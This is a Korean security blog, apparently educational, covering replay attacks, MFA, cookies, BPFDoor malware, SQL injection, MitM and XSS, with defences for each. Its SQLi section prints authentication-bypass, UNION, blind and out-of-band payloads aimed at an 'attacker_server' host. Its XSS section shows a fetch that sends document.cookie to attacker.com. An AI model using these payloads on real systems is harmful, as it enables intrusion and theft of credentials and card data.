장점: 암호화와 달리 재생에 영향 없음, 복제 후에도 추적 가능.
단점: 고해상도 복제나 필터링으로 제거될 가능성.

접근 제어 및 권한 관리 (Access Control)

DRM은 단순히 복호화만 허용하는 게 아니라:
- 복사 방지 (예: 클립보드, 프린트 스크린 차단)
- 공유 방지 (예: 특정 기기 외 재생 금지)
- 오프라인 사용 기간 제한 (예: 다운로드 후 30일까지만 재생)
- 출력 제한 (예: 프린트 횟수, 화면 해상도 제한)
이를 위해 OS, 앱, 브라우저, 하드웨어와 긴밀히 통합됩니다.

하드웨어 기반 DRM (Hardware-based DRM)

소프트웨어만으로 DRM을 구현하면 크랙이나 해킹에 취약할 수 있습니다.
그래서 하드웨어 수준에서 DRM을 적용하기도 합니다:
- HDCP (High-bandwidth Digital Content Protection): HDMI, DisplayPort 등 고화질 전송에서 암호화.
- Trusted Platform Module (TPM): 기기 내 보안 칩을 이용해 DRM 키 보호.
- Secure Enclave (예: Apple 제품): 암호화 키를 안전하게 저장.
이 방식은 콘텐츠가 메모리나 화면으로 흘러나가는 경로까지 보호합니다.

클라이언트-서버 통신 및 보안 (Secure Client-Server Communication)

DRM은 일반적으로 클라이언트(사용자 디바이스)와 서버 간 TLS/SSL 암호화 통신을 통해 작동합니다.
키와 라이선스 정보가 유출되거나 중간자 공격을 받지 않도록 합니다.

Replay 공격에 대한 개념

defcon — Fri, 2 May 2025 22:42:43 +0900

1. 개념

Replay Attack은 공격자가 합법적인 사용자 간의 통신 데이터를 가로채고, 그 데이터를 다시 전송(재생) 하여 이득을 얻거나 시스템을 속이는 공격입니다.
즉, 통신을 “이해”하지 못하더라도, “정상적인 데이터를 그대로 재전송” 해서 시스템이 진짜 요청으로 오인하도록 만드는 것입니다.

요약:“기존에 주고받은 정상 메시지를 가로채고, 다시 보내서 속이는 공격”

2. Replay Attack의 기본 흐름

A(사용자)가 B(서버)에게 정상적인 요청을 보냄.
공격자(Eve)가 이 통신을 가로채고 저장함.
이후 Eve가 저장해둔 정상 요청을 다시 B에게 재전송함.
B는 이를 새로운 요청으로 착각하고, 정상적인 응답을 함.
결과적으로 공격자는 인증, 결제, 로그인 등의 행위를 가짜로 복제하게 됨.

3. Replay Attack의 대표적인 목표

목표	설명
세션 재사용(Session Replay)	과거에 유효했던 인증 세션을 다시 보내 인증 통과
명령 재전송(Command Replay)	과거에 수행된 송금, 승인 명령을 다시 실행
트랜잭션 재플레이(Transaction Replay)	금융 거래, 주문을 다시 복제

4. Replay Attack이 잘 일어나는 조건

통신이 암호화되지 않았거나, 암호화돼 있어도 신선성(freshness) 검증이 없는 경우
인증토큰이나 세션ID에 만료 시간이 없거나 약한 경우
요청에 고유 식별자(nonce, timestamp 등)가 없는 경우
통신이 단순 반복 요청에 대해 아무 검증 없이 응답하는 경우

5. Replay Attack의 실제 예시

예시	설명
ATM 카드 인증	카드가 한번 승인된 트랜잭션을 저장 → 나중에 다시 재전송해 돈 인출
온라인 결제	구매 요청 패킷을 가로채 저장 → 다시 보내서 상품 2개 구매
Wi-Fi 4-way handshake Replay	WPA2 인증 과정 중 메시지를 재생하여 복호화 공격 시도 (KRACK Attack)
로그인 인증 세션	이미 인증된 세션 토큰을 훔쳐 재사용하여 로그인

6. Replay Attack 방어 방법

방법	설명
Nonce 사용	매 요청마다 한번만 사용하는 무작위 수(Nonce)를 포함
Timestamp 사용	요청에 현재 시간을 포함하고, 유효 시간(window)을 짧게 설정
Session Expiry	세션, 인증 토큰 등에 짧은 만료 시간 적용
Sequence Number	통신에 일련 번호를 부여해 순서를 강제
Mutual Authentication	양쪽 모두 인증 절차를 거쳐 중간자 공격을 방지
메시지 무결성 확인(MAC, HMAC)	메시지가 변조되지 않았는지 검증

사용자 인증 SFA 2FA MFA 개념

defcon — Thu, 1 May 2025 10:16:56 +0900

1. Single-Factor Authentication (SFA)

단일 인증

의미: 사용자가 하나의 인증 요소만으로 본인을 인증하는 방식입니다.
예시:
- 아이디 + 비밀번호 로그인
- 은행 카드 사용 시 카드 번호 입력
특징:
- 인증 요소는 오직 하나 (know – 사용자가 아는 것)
- 구현은 쉽고 사용자 친화적이지만 보안성이 낮음 → 비밀번호 유출 시 누구나 접근 가능
취약점:
- 비밀번호가 약하거나 재사용되면 쉽게 뚫릴 수 있음
- 피싱, 키로거, 브루트포스 공격에 취약

2. Two-Factor Authentication (2FA)

이중 인증

의미: 서로 다른 두 가지 인증 요소를 결합해 본인을 인증하는 방식입니다.
예시:
- 아이디 + 비밀번호 (첫 번째 요소: 아는 것)
- OTP 코드, 문자 인증, 모바일 앱 알림 (두 번째 요소: 가지고 있는 것)
- ATM에서 카드 (가지고 있는 것) + 비밀번호 (아는 것)
인증 요소 조합:
- 아는 것 (Something you know): 비밀번호, PIN
- 가지고 있는 것 (Something you have): 스마트폰, OTP 토큰, 보안카드
- 본인임을 증명하는 것 (Something you are): 지문, 홍채, 얼굴
특징:
- 하나의 요소가 뚫리더라도 두 번째 요소로 보완 → 보안성이 크게 향상됨
- 사용자가 약간의 추가 행동을 해야 해서 SFA보다 약간 불편할 수 있음

3. Multi-Factor Authentication (MFA)

다중 인증

의미: 두 가지 이상, 즉 최소 세 가지 이상 인증 요소를 사용하는 방식 (일반적으로는 2FA도 MFA에 포함시키지만, 좁은 의미로는 3개 이상을 의미할 때 쓰이기도 함).
예시:
- 비밀번호 + OTP + 지문 인증
- 카드 + PIN + 얼굴 인식
특징:
- 서로 다른 두 가지 이상의 범주에서 인증 요소를 결합
- 2FA보다 더 높은 보안을 제공, 특히 보안이 매우 중요한 환경(군사, 금융, 고위 경영층 시스템 등)에서 사용
- 사용 편의성은 상대적으로 떨어질 수 있으나, 보안 수준은 최상급

요약

구분	수	예시	보안성
SFA	1개	비밀번호만, 카드만	낮음
2FA	2개	비밀번호 + OTP, 카드 + PIN	높음
MFA	2개 이상	비밀번호 + OTP + 생체인증	매우 높음

인증요소

1. Something you know (당신이 아는 것)

정의: 사용자가 알고 있는 비밀 정보
예시:
- 비밀번호
- PIN 번호 (예: 은행 카드 PIN)
- 패턴 (스마트폰 잠금 패턴)
- 답변형 질문 (예: 비밀번호 찾기 시 “어머니의 결혼 전 성은?”)
특징:
- 전통적인 인증 요소, 오래전부터 사용됨
- 입력만으로 인증되므로 사용 편의성이 좋음
- 취약점:
  - 쉽게 추측될 수 있음 (예: 생일, 1234 같은 비밀번호)
  - 재사용하거나 메모해두면 유출 위험 증가
  - 피싱, 키로깅, 사전 공격(brute-force) 등에 약함

2. Something you have (당신이 가진 것)

정의: 사용자가 소유한 물리적 장치나 토큰
예시:
- 스마트폰 (문자 메시지, OTP 앱, 푸시 알림 수신용)
- 하드웨어 토큰 (예: RSA 보안 토큰, OTP 생성기)
- 스마트카드, 보안 카드, USB 보안 키 (예: YubiKey)
- 은행 카드 (실물 카드 자체)
특징:
- 물리적으로 소유해야 하므로, 유출되더라도 물리적 절도 없이는 사용 어려움
- 취약점:
  - 분실하거나 도난당할 수 있음
  - 복제 가능성이 존재(특히 보안이 낮은 장치나 카드)
  - 배터리나 네트워크 의존성이 있는 경우 사용 불편 가능성

3. Something about you (당신 자체, 생체적 특징)

정의: 사용자의 고유한 생물학적/행동학적 특성
예시:
- 지문
- 얼굴 인식
- 홍채(눈) 스캔
- 음성 인식
- 서명, 걸음걸이, 타이핑 습관 (행동적 생체 인식)
특징:
- 사용자가 ‘본인’이라는 사실 자체로 인증
- 도난이나 분실 걱정이 없음 (지문이나 얼굴은 항상 소지)
- 취약점:
  - 생체정보는 유출되면 변경이 불가능
  - 인식 기기의 품질에 따라 오탐, 미탐 가능 (예: 습기 있는 손, 어두운 곳)
  - 프라이버시 문제(민감한 개인정보 수집)

세션쿠키(Session Cookie)와 지속쿠키(Persistent Cookie) 개념

defcon — Wed, 30 Apr 2025 22:30:30 +0900

웹 개발에서 쿠키(cookie)는 사용자의 브라우저에 저장되는 작은 데이터 조각입니다. 쿠키는 웹 서버가 사용자의 상태를 기억할 수 있도록 도와주는 중요한 메커니즘이며, 예를 들어 로그인 상태 유지, 장바구니 정보 저장, 사용자 선호 설정 등을 위해 사용됩니다.

쿠키(cookie)란?

정의: 클라이언트(사용자)의 브라우저에 저장되는 작은 텍스트 파일.
형식: key=value 형식이며, 추가적으로 Expires, Max-Age, Path, Domain, Secure, HttpOnly, SameSite 등의 속성을 가질 수 있습니다.
주 사용 목적:
- 세션 유지 (로그인 상태 등)
- 사용자 추적 (애널리틱스, 광고)
- 사용자 설정 저장 (언어, 테마 등)

쿠키의 종류

쿠키는 다양한 기준으로 분류할 수 있습니다. 일반적으로는 수명(lifetime)과 접근 범위(scope) 기준으로 나뉩니다.

1. Session Cookie (세션 쿠키)

정의: 브라우저 세션 동안만 유지되는 쿠키. 브라우저를 닫으면 자동으로 삭제됨.
저장 위치: 메모리 또는 브라우저의 임시 저장소.
용도:
- 로그인 세션 유지
- 일시적인 사용자 상태 저장
Expires 또는 Max-Age 속성 없음: 브라우저가 종료되면 쿠키는 사라짐.
보안: 민감한 정보를 저장할 때 자주 사용되며, 서버와의 지속적인 통신이 요구됨.

예시:

Set-Cookie: session_id=abc123; Path=/; HttpOnly

2. Persistent Cookie (영속 쿠키)

정의: 명시된 만료 시간(Expires 또는 Max-Age)까지 브라우저에 저장되는 쿠키.
브라우저 종료 후에도 유지됨: 지정된 기간 동안 유효.
용도:
- 자동 로그인
- 사용자 설정 및 선호도 저장
- 방문자 추적
보안: 장시간 유지되므로 민감한 데이터는 저장하지 않는 것이 권장됨.

예시:

Set-Cookie: user_id=12345; Expires=Wed, 30 Apr 2025 23:59:59 GMT; Path=/; Secure

속성	Session Cookie	Persistent Cookie
수명	브라우저 세션 동안	명시된 기간 (Expires/Max-Age)
저장 위치	메모리 또는 임시 저장소	디스크에 저장
브라우저 종료 시	삭제됨	유지됨
사용 예시	로그인 상태 유지	자동 로그인, 사용자 설정

쿠키의 기본 구조

쿠키의 구조는 기본적으로 key=value 쌍으로 시작하고, 그 뒤에 여러 개의 속성(attributes) 이 붙을 수 있습니다. 이 속성들은 쿠키의 동작 방식(유효기간, 접근 범위, 보안 등)을 정의합니다.

Set-Cookie: key=value; Attribute1=...; Attribute2=...; ...

예시

Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; Max-Age=3600; SameSite=Lax

쿠키의 주요 구성 요소

항목	설명
key=value	쿠키의 이름(name)과 값(value) 쌍입니다. 가장 기본적인 정보입니다.
Expires	쿠키의 만료 시점을 명시합니다. (예: Expires=Wed, 30 Apr 2025 23:59:59 GMT)
Max-Age	쿠키의 유효 시간(초 단위)을 설정합니다. 이 시간이 지나면 쿠키는 삭제됩니다. (Max-Age=3600 → 1시간)
Domain	쿠키를 적용할 도메인 범위를 설정합니다. 기본적으로는 현재 요청한 도메인에만 적용됩니다.
Path	쿠키를 전송할 경로(URI)를 설정합니다. (Path=/이면 모든 경로에 쿠키가 전송됨)
Secure	HTTPS 연결에서만 쿠키를 전송합니다.
HttpOnly	JavaScript를 통해 접근할 수 없도록 설정하여 보안을 강화합니다.
SameSite	크로스 사이트 요청에서의 쿠키 전송 방식을 제한합니다. (Lax, Strict, None 중 선택 가능)

속성 설명

Expires vs Max-Age

Expires: 절대 시각 (UTC 시간 기준)
Max-Age: 상대 시간 (현재 시각으로부터 초 단위)

둘 중 하나만 있어도 동작하지만, Max-Age가 우선합니다.

Secure

Set-Cookie: key=value; Secure

이 쿠키는 HTTPS 연결일 때만 브라우저가 서버에 전송합니다.

HttpOnly

Set-Cookie: key=value; HttpOnly

JavaScript의 document.cookie에서 이 쿠키를 읽거나 수정할 수 없습니다.
XSS 공격을 방지하는 데 유용합니다.

SameSite

Set-Cookie: key=value; SameSite=Lax

CSRF 방지를 위한 속성.
옵션:
- Strict: 완전한 차단 (타 사이트 요청 시 쿠키 미전송)
- Lax: 기본값. 일부 안전한 요청(GET 등)은 허용
- None: 크로스 도메인 요청에서도 쿠키 허용 (단, Secure 속성 필수)

SKT 해킹에 사용된 BPFDoor 악성코드 개념

defcon — Wed, 30 Apr 2025 09:00:12 +0900

BPFdoor 악성코드 상세 분석

1. 개요

BPFdoor는 이름에서 알 수 있듯이, BPF (Berkeley Packet Filter) 기술을 악용합니다.
Linux 시스템과 Solaris 시스템을 주 타겟으로 합니다.
전통적인 포트 리스닝이나 새 소켓 생성 없이도 패킷을 감시할 수 있어, 네트워크 모니터링 도구에 걸리지 않고 C2(Command and Control) 통신을 수행할 수 있습니다.
중국계 해커 조직과 연관된 것으로 분석된 경우가 많습니다.

2. 주요 특징

특징	설명
무포트 백도어(Portless backdoor)	열린 포트 없이 네트워크 명령을 수신함.
BPF 활용	커널 수준에서 네트워크 패킷을 스니핑하고 특정 트리거 패킷을 감지함.
방화벽 우회	포트를 열지 않고 명령 수신이 가능하여, 보안 장비나 소프트웨어를 우회함.
루트 권한 불필요	루트(root) 권한 없이도 실행이 가능함.
다양한 프로토콜 지원	TCP, UDP, ICMP 등 다양한 프로토콜을 통해 통신할 수 있음.
파일 기반 명령 실행	감지된 패킷의 내용에 따라 시스템 명령을 실행하거나, 쉘을 오픈함.

3. 감염 및 동작 과정

감염
- 일반적인 취약점 공격, 또는 시스템에 이미 권한을 얻은 상태에서 설치.
BPF 초기화
- 네트워크 인터페이스를 열고 BPF 필터를 설치해 특정 패킷만 감시.
패킷 감시
- 외부에서 보내는 특정 형식의 패킷(예: 특정 Magic Number 포함)을 감지.
명령 수신
- 패킷이 감지되면, 내장된 명령어 파서를 통해 명령을 해석.
명령 실행
- 쉘 열기, 파일 전송, 시스템 정보 수집 등의 명령을 수행.
응답
- 공격자에게 명령 수행 결과를 전송 (역방향 연결 사용 가능).

4. 주요 기술적 디테일

BPF 필터링 조건
- 일반적인 트래픽과 구분되기 위해 특별히 조작된 패킷만 수신.
Magic Number 기반 트리거
- 패킷 안에 숨겨진 특정 시그니처를 탐지해서 동작을 시작함.
Raw Socket 사용
- 기존 네트워크 API 대신 저수준(raw socket) 기능을 이용하여 감지되지 않음.
프로세스 은닉
- ps/top 등 일반적인 프로세스 조회 명령어로 식별이 어렵게 이름을 위장하거나, 환경 변수를 조작.

5. 공격자가 사용할 수 있는 기능

역쉘 (Reverse Shell) 오픈
파일 업로드 및 다운로드
명령 실행 (system call)
시스템 정보 수집 (uname, id, etc.)
Persistence (영구적 설치)

6. 탐지와 대응의 어려움

포트가 열려 있지 않아 일반적인 포트 스캐닝으로 탐지가 불가능합니다.
패킷 스니핑 기반이기 때문에, Host-based Firewall이나 IDS/IPS로도 쉽게 탐지되지 않습니다.
로그를 남기지 않는 방식으로 동작합니다.
따라서 탐지를 위해서는:
- 비정상적인 BPF 세션 감시
- 시스템 호출 감시 (e.g., raw socket 사용 흔적)
- 메모리 상의 비정상 프로세스 분석 등이 필요합니다.

7. BPFdoor 변종

발견 이후 여러 변종이 확인되었습니다.
Solaris 뿐 아니라 Linux용 변종이 계속 진화 중.
일부는 ICMP만 사용하는 간단한 트리거 방식으로 수정된 것도 있음.

BPFdoor 감염 탐지 방법 간단 요약

/proc/net/bpf 등 시스템 내 BPF 핸들링 흔적을 확인
비정상적인 Raw Socket 열람 탐지
비정상 프로세스 (특히 이름이 이상하거나 ps/top에 잘 안 보이는) 탐색
패킷 캡처 도구를 사용하여 수상한 트래픽 형태 분석

BPFdoor 감염으로 인한 해킹 사례

1. 통신사(Telco) 해킹 사례

타겟: 동남아시아 통신사
침해 경로:
- 취약한 VPN 장비(예: Pulse Secure) 취약점을 통해 초기 침입
- 이후 서버 내부로 이동하여 BPFdoor 설치
피해:
- 고객 통화 기록(CDR, Call Detail Record) 탈취
- 내부망 스니핑 및 추가 감염 확산
특징:
- BPFDoor를 통해 네트워크 전역으로 퍼지며 lateral movement(횡적 이동)을 수행.

2. 국방 및 방위 산업 해킹

타겟: 아시아 일부 국방 관련 연구소
공격 기법:
- 취약한 SSH 서버를 통한 초기 접근
- Solaris 기반 서버에 BPFdoor 설치
피해:
- 연구개발(R&D) 문서 탈취
- 시스템 제어권 장악 후 추가 공격 준비
특징:
- 탐지 없이 오랫동안 숨겨진 채 운영됨 (6개월 이상 탐지 불가 상태 지속 사례 존재)

SQL Injection 개념 및 대응 방법

defcon — Tue, 29 Apr 2025 18:11:11 +0900

SQL Injection (SQLi) 이란?

SQL Injection은 웹 애플리케이션의 보안 취약점을 이용하여

개발자가 의도하지 않은 SQL 쿼리를 실행하도록 만드는 공격 기법입니다.

주로 사용자가 입력한 값이 적절히 검증(Validation)되지 않고

직접 SQL 문에 삽입되어 처리될 때 발생합니다.

공격자가 데이터베이스를 조작하여 인증 우회, 데이터 조회/변조/삭제, 서버 제어 등을 할 수 있게 됩니다.

SQL Injection의 기본 개념

SQL은 데이터베이스를 다루기 위한 질의 언어입니다.

일반적으로 다음과 같이 사용자의 입력을 바탕으로 쿼리를 생성합니다.

SELECT * FROM users WHERE username = '입력값' AND password = '입력값';

그런데 만약 입력값에 ' OR '1'='1 같은 악성 문자열을 넣으면 어떻게 될까요?

입력된 쿼리:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

'1'='1' 은 항상 참이므로,

비밀번호 검증을 무력화하고 모든 사용자에 대해 로그인 성공이 될 수 있습니다.

SQL Injection 동작 흐름

사용자가 입력폼(로그인, 검색창 등)에 악의적인 데이터를 입력합니다.
서버가 이 입력값을 검증 없이 SQL 쿼리에 삽입합니다.
데이터베이스는 이를 정상적인 명령어로 처리합니다.
결과적으로 공격자가 의도한 데이터 노출/조작이 발생합니다.

SQL Injection 공격 유형 (종류)

구분	설명
인증 우회 (Authentication Bypass)	로그인 인증을 우회합니다.
데이터 노출 (Data Extraction)	비공개 데이터(회원정보, 카드번호 등)를 빼냅니다.
데이터 수정/삭제 (Data Manipulation)	테이블을 수정하거나 삭제합니다.
DB 서버 공격 (Database Takeover)	파일 읽기/쓰기, 시스템 명령 실행까지 시도합니다.
Blind SQL Injection	쿼리 결과를 볼 수 없어, 참/거짓 응답을 분석해 공격합니다.
Out-of-Band SQL Injection	서버의 응답이 없을 때, 별도 채널 (DNS, HTTP 등)로 데이터를 빼냅니다.

SQL Injection 구체적 공격 예시

1. 인증 우회

입력창에 
아이디: admin' --
비밀번호: 아무거나

--은 SQL에서 주석 처리를 의미합니다. 따라서 비밀번호 조건은 무시되고 아이디만 admin으로 로그인 가능.

쿼리 변환:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...';

2. 데이터 추출

입력창에
아이디: ' UNION SELECT card_number, 1 FROM credit_cards --
비밀번호: 아무거나

UNION 키워드를 사용해, 다른 테이블(카드정보)을 조회합니다.

쿼리 변환:

SELECT * FROM users WHERE username = '' UNION SELECT card_number, 1 FROM credit_cards --' AND password = '...';

Blind SQL Injection (블라인드 SQLi)

결과가 직접 보이지 않는 경우, 참/거짓 응답을 반복해서 분석합니다.

예시

아이디 입력창에
' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND LENGTH(password)>5) --

비밀번호 길이가 5보다 크면 정상 응답, 아니면 오류 → 반복해서 길이와 내용을 추측할 수 있습니다.

또는 시간 지연을 사용하여 참/거짓을 알아낼 수도 있습니다.

' OR IF(ASCII(SUBSTRING(password,1,1))=97, SLEEP(5), 0) --

비밀번호 첫 글자의 아스키코드가 97(a)이면 5초 동안 서버가 멈춤.

Out-of-Band SQL Injection

DB 서버에서 DNS 요청 등 외부 서버로 연결해 데이터를 빼가는 기법입니다.

예시:

SELECT load_file('\\\\attacker_server\\share');

SQL Injection 취약 원인

사용자 입력값을 신뢰하고 검증하지 않음
SQL 쿼리에 직접 문자열 연결 (String Concatenation)
적절한 권한 분리 없이 모든 쿼리를 수행
오류 메시지를 자세히 노출하여 정보 유출

SQL Injection 방어 방법

방법	설명
Prepared Statement (Parameterized Query)	쿼리 구조와 데이터 입력을 분리
ORM 사용	Django ORM, Hibernate 등 사용하여 쿼리 직접 작성 방지
입력값 검증 (Validation)	입력값의 허용범위, 타입, 길이 등을 철저히 체크
최소 권한 원칙 적용	DB 계정 권한 최소화 (SELECT만 가능 등)
오류 메시지 제한	구체적인 DB 오류를 사용자에게 노출하지 않음
WAF (Web Application Firewall)	SQLi 공격 시도를 차단

Prepared Statement 예시

(Java JDBC 예제)

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, usernameInput);
pstmt.setString(2, passwordInput);
ResultSet rs = pstmt.executeQuery();

여기서 ?는 입력값이 쿼리와 독립적으로 처리되기 때문에 입력값에 악성 SQL을 넣어도 코드 자체가 변조되지 않습니다.

SQL Injection 공격 탐지 방법

웹 서버 로그 분석 (비정상 쿼리 문자열 확인)
DB 쿼리 로그 모니터링 (비정상 쿼리 패턴)
이상 접근 감지 시스템 (IDS/IPS) 연동
자동화된 취약점 스캐너 사용 (ex. SQLMap, Burp Suite)

SQL Injection 대표적인 도구

도구	설명
SQLMap	오픈소스 SQL Injection 자동화 도구
Burp Suite	웹 취약점 진단 도구 (Proxy, Scanner 기능)
Havij	GUI 기반 SQL Injection 도구

Snooping 공격에 대한 개념

defcon — Tue, 29 Apr 2025 08:30:06 +0900

1. 개념

Snooping 은 네트워크나 컴퓨터 시스템을 몰래 엿보거나 감시하여 데이터를 가로채거나 수집하는 행위를 의미합니다.
공격자가 아니라도, 단순한 정보 열람, 모니터링 행위 자체를 스누핑이라 부를 수 있습니다.
하지만 보안 관점에서는 허가 없이 남의 통신이나 데이터를 몰래 들여다보는 행위를 주로 지칭합니다.

요약:“허가 없이 남의 데이터를 엿보는 것”

2. Snooping의 특징

항목	설명
주체	네트워크 관리자, 악성 공격자, 시스템 운영자 등
행위	데이터, 패킷, 파일, 통신내용 몰래 수집
목적	정보 수집, 비밀 탈취, 시스템 분석 등
대상	이메일, 웹 트래픽, 채팅, 파일 전송, 인증정보 등

3. Snooping의 주요 유형

유형	설명
Network Snooping	네트워크를 통해 흐르는 트래픽을 몰래 가로채서 분석 (패킷 스니핑)
Email Snooping	이메일 내용을 몰래 열람하거나 복사
File Snooping	파일 서버나 클라우드 저장소의 파일을 무단 열람
Wireless Snooping	와이파이 같은 무선 네트워크에서 트래픽을 엿봄
Memory Snooping	시스템 메모리에 올라온 민감 데이터를 몰래 수집 (RAM Snooping)

4. Snooping과 관련된 기술

Packet Sniffing: 네트워크 패킷을 가로채고 분석하는 기술 (예: Wireshark, tcpdump 사용)

합법적인 Sniffing	불법적인 Sniffing
- 네트워크 트래픽 모니터링 - 보안 문제 분석 - 성능 최적화 - 장애 진단	- 민감 정보 탈취(비밀번호, 세션 토큰 등) - 계정 탈취 - 내부 네트워크 정보 수집 - 통신 감청

ARP Spoofing: 네트워크 내 ARP 테이블을 조작해 패킷을 공격자에게 흘러가게 한 후 스누핑.
Man-in-the-Middle (MitM) Attack: 통신 중간에 몰래 끼어들어 데이터를 엿보거나 조작하는 공격.
- ARP Spoofing (LAN 내부에서 MitM)
  - 공격자가 LAN(Local Area Network) 에서 “나 = 게이트웨이” 라고 속여서, 피해자의 트래픽을 전부 자신을 거쳐가게 함
- DNS Spoofing(웹사이트 접속 중 MitM)
  - 사용자가 정상 웹사이트를 접속하려고 할 때, 공격자가 가짜 IP를 응답하여 피싱 사이트 유도
- Wi-Fi Evil Twein Attack( 공공장소 MitM)
  - 특정 공용 Wi-Fi 처럼 보이는 가짜 AP를 설치하고 사용자들이 여기에 연결하면, 모든 트래픽을 감청
- SSL Striopping(HTTPS 통신 MitM)
  - 사용자가 HTTPS 웹사이트를 방문할 때, 공격자가 중간에서 HTTPS를 강제로 HTTP로 다운그레이드하여 암호화 제거

5. Snooping과 비슷한 개념과 차이점

구분	Snooping	Sniffing	Eavesdropping
개념	엿보거나 몰래 열람하는 행위	패킷 캡처 및 분석	통신 내용을 몰래 듣는 행위
주로 어디에?	시스템, 네트워크, 파일, 메모리 등 광범위	네트워크 트래픽	통신(네트워크, 음성)
적극성	비교적 포괄적	기술적이고 적극적	소극적 (수동 듣기)

Snooping은 약간 더 포괄적 개념이고, Snipping/Eavesdropping은 좀 더 특정 기술에 가까워요.

6. Snooping의 위험성

개인정보 유출 (로그인 정보, 신용카드 번호 등)
기업 기밀 유출 (문서, 설계도, 계약 정보)
세션 탈취 (로그인 세션 하이재킹 가능)
비인가 시스템 접근 (수집한 정보를 통해 추가 침입)
법적 문제 (감시 행위는 불법일 수 있음)

7. Snooping 방어 방법

방법	설명
암호화 사용	TLS/SSL, VPN을 통한 통신 암호화
강력한 무선 네트워크 보안	WPA3 적용, 오픈 Wi-Fi 사용 금지
ARP 스푸핑 방지	Static ARP 테이블 설정, IDS/IPS 도입
세션 관리 강화	세션 쿠키 암호화, 세션 하이재킹 방지
보안 모니터링	비정상 트래픽 탐지 및 경고 시스템 구축

XSS Cross Site Script 공격 기법에 대한 개념 및 방어 방법

defcon — Mon, 28 Apr 2025 19:30:01 +0900

1. XSS 공격 개요

XSS (Cross-Site Scripting)는 웹 애플리케이션 취약점을 이용해 악성 스크립트(주로 JavaScript)를 삽입하고, 이를 다른 사용자의 브라우저에서 실행시키는 공격입니다.

XSS는 공격자가 작성한 스크립트가 피해자의 브라우저에서 실행된다는 점이 핵심입니다. 이 스크립트는 쿠키, 세션 토큰, 사용자 입력 정보 등을 탈취하거나, 사용자의 브라우저를 조작하거나, 악성 사이트로 리다이렉션시킬 수 있습니다.

중요 포인트:

서버 입장에서는 정상 요청처럼 보인다.
피해자는 보통 자신이 공격당하고 있다는 것을 인지하기 어렵다.

2. XSS 공격의 기본 구조

공격자가 악성 스크립트를 웹사이트에 삽입
웹사이트가 별다른 검증 없이 이 스크립트를 포함해 응답
피해자가 웹사이트에 접속하면서 삽입된 스크립트가 실행
스크립트가 피해자의 쿠키, 세션 토큰 등을 탈취하거나 다른 행위를 수행

3. XSS 공격 유형

XSS는 공격이 삽입·전달되는 방식에 따라 보통 다음 세 가지로 구분됩니다.

(1) 저장형 XSS (Stored XSS, Persistent XSS)

공격 스크립트가 서버에 저장된다 (예: 게시판 글, 댓글, 프로필 정보 등).
다른 사용자가 그 페이지에 접속하면 저장된 스크립트가 실행된다.

예시:
게시판 글 제목에 <script>stealCookie()</script>를 삽입 → 다른 사용자가 글을 열람 시 쿠키 탈취

특징:

피해자가 링크를 클릭하지 않아도 됨
파급력 큼 (다수 사용자에 영향)

(2) 반사형 XSS (Reflected XSS)

공격 스크립트가 서버에 저장되지 않고, HTTP 요청에 포함된 입력값이 바로 응답에 반영된다.
사용자가 조작된 링크를 클릭하거나 폼을 제출할 때 공격이 발동한다.

예시:
URL에 악성 스크립트 삽입 → 서버가 이를 그대로 반영 → 사용자 브라우저에서 실행

https://example.com/search?q=stealCookie()

특징:

사용자가 공격자가 만든 링크를 클릭해야 함
보통 이메일, 메신저 등을 통해 유도

(3) DOM 기반 XSS (DOM-based XSS)

서버 응답에는 문제가 없고, 브라우저가 클라이언트 측(JavaScript)에서 입력값을 처리할 때 발생
입력값을 DOM에 삽입할 때 적절한 검증/인코딩이 이뤄지지 않아 발생한다.

예시 (JavaScript 코드에서 직접 취약):

var search = location.hash.substring(1);
document.getElementById("result").innerHTML = search;

위 코드에 대해 URL을 다음과 같이 조작:

https://example.com/#alert('XSS')

→ 브라우저가 해시값을 파싱해 그대로 DOM에 삽입하면서 스크립트가 실행

특징:

서버는 모른다.
클라이언트 스크립트 로직이 취약

4. XSS 공격의 결과 및 위협

XSS 공격이 성공하면 공격자는 다음을 할 수 있습니다:

쿠키/세션 탈취 (ex: 세션 하이재킹)
사용자 계정 탈취 (ex: 자동 로그인 세션 탈취)
피싱 페이지 생성 (ex: 로그인 페이지 위조)
웹사이트 조작 (ex: 화면 변조, 악성광고 삽입)
키 입력 기록 (ex: 키로거 기능 삽입)
브라우저 취약점 공격 (ex: RCE로 이어질 수 있음)

5. XSS 방어 방법

XSS를 막기 위해서는 다층 방어(Defense-in-Depth)가 필요합니다.

(1) 입력 검증 (Input Validation)

사용자 입력에서 스크립트 코드 삽입을 차단
허용된 값(화이트리스트)만 받기
입력단에서 HTML, JavaScript 예약어 차단

(2) 출력 인코딩 (Output Encoding)

HTML 페이지에 출력하기 전에, 입력값을 HTML 엔티티로 변환
- 예: < → <, > → >

특히 위치에 따라 맞는 인코딩을 해야 한다:

HTML 본문 → HTML Encoding
JavaScript 코드 안 → JavaScript Encoding
URL 안 → URL Encoding
CSS 안 → CSS Encoding

(3) Content Security Policy (CSP) 설정

script-src 등으로 스크립트 실행을 강하게 제어
인라인 스크립트나 외부 스크립트 로딩을 제한

Content-Security-Policy: default-src 'self'; script-src 'self'

(4) HTTPOnly 속성으로 쿠키 보호

쿠키를 JavaScript에서 접근하지 못하도록 설정
세션 쿠키 탈취 리스크 감소

Set-Cookie: sessionId=abc123; HttpOnly; Secure

(5) 프레임워크 보안 기능 활용

React, Angular, Vue.js 등은 자동으로 output escaping을 지원
개발자가 직접 태그를 삽입하지 않는 한 안전

6. Stored-XSS 공격 예시

1. 공격자가 게시판에 다음과 같은 글을 작성합니다.

fetch('<a href=http://attacker.com/steal?cookie='+document.cookie)>http://attacker.com/steal?cookie='+document.cookie)</a>

2. 다른 사용자가 게시판을 열람하면, 이 스크립트가 브라우저에서 실행됩니다.

3. 피해자의 쿠키 정보가 attacker.com 서버로 전송됩니다.

4. 공격자는 피해자 쿠키를 통해 세션을 탈취할 수 있습니다.

드라이브 바이 다운로드(Drive-by Download) 개념

defcon — Mon, 28 Apr 2025 09:11:06 +0900

1. 개념

사용자가 웹사이트를 방문하기만 해도 또는 의심 없이 클릭만 해도
악성코드(malware)가 자동으로 다운로드되거나 실행되는 공격 방법입니다.
사용자에게 명시적으로 다운로드나 설치 동의를 묻지 않습니다.

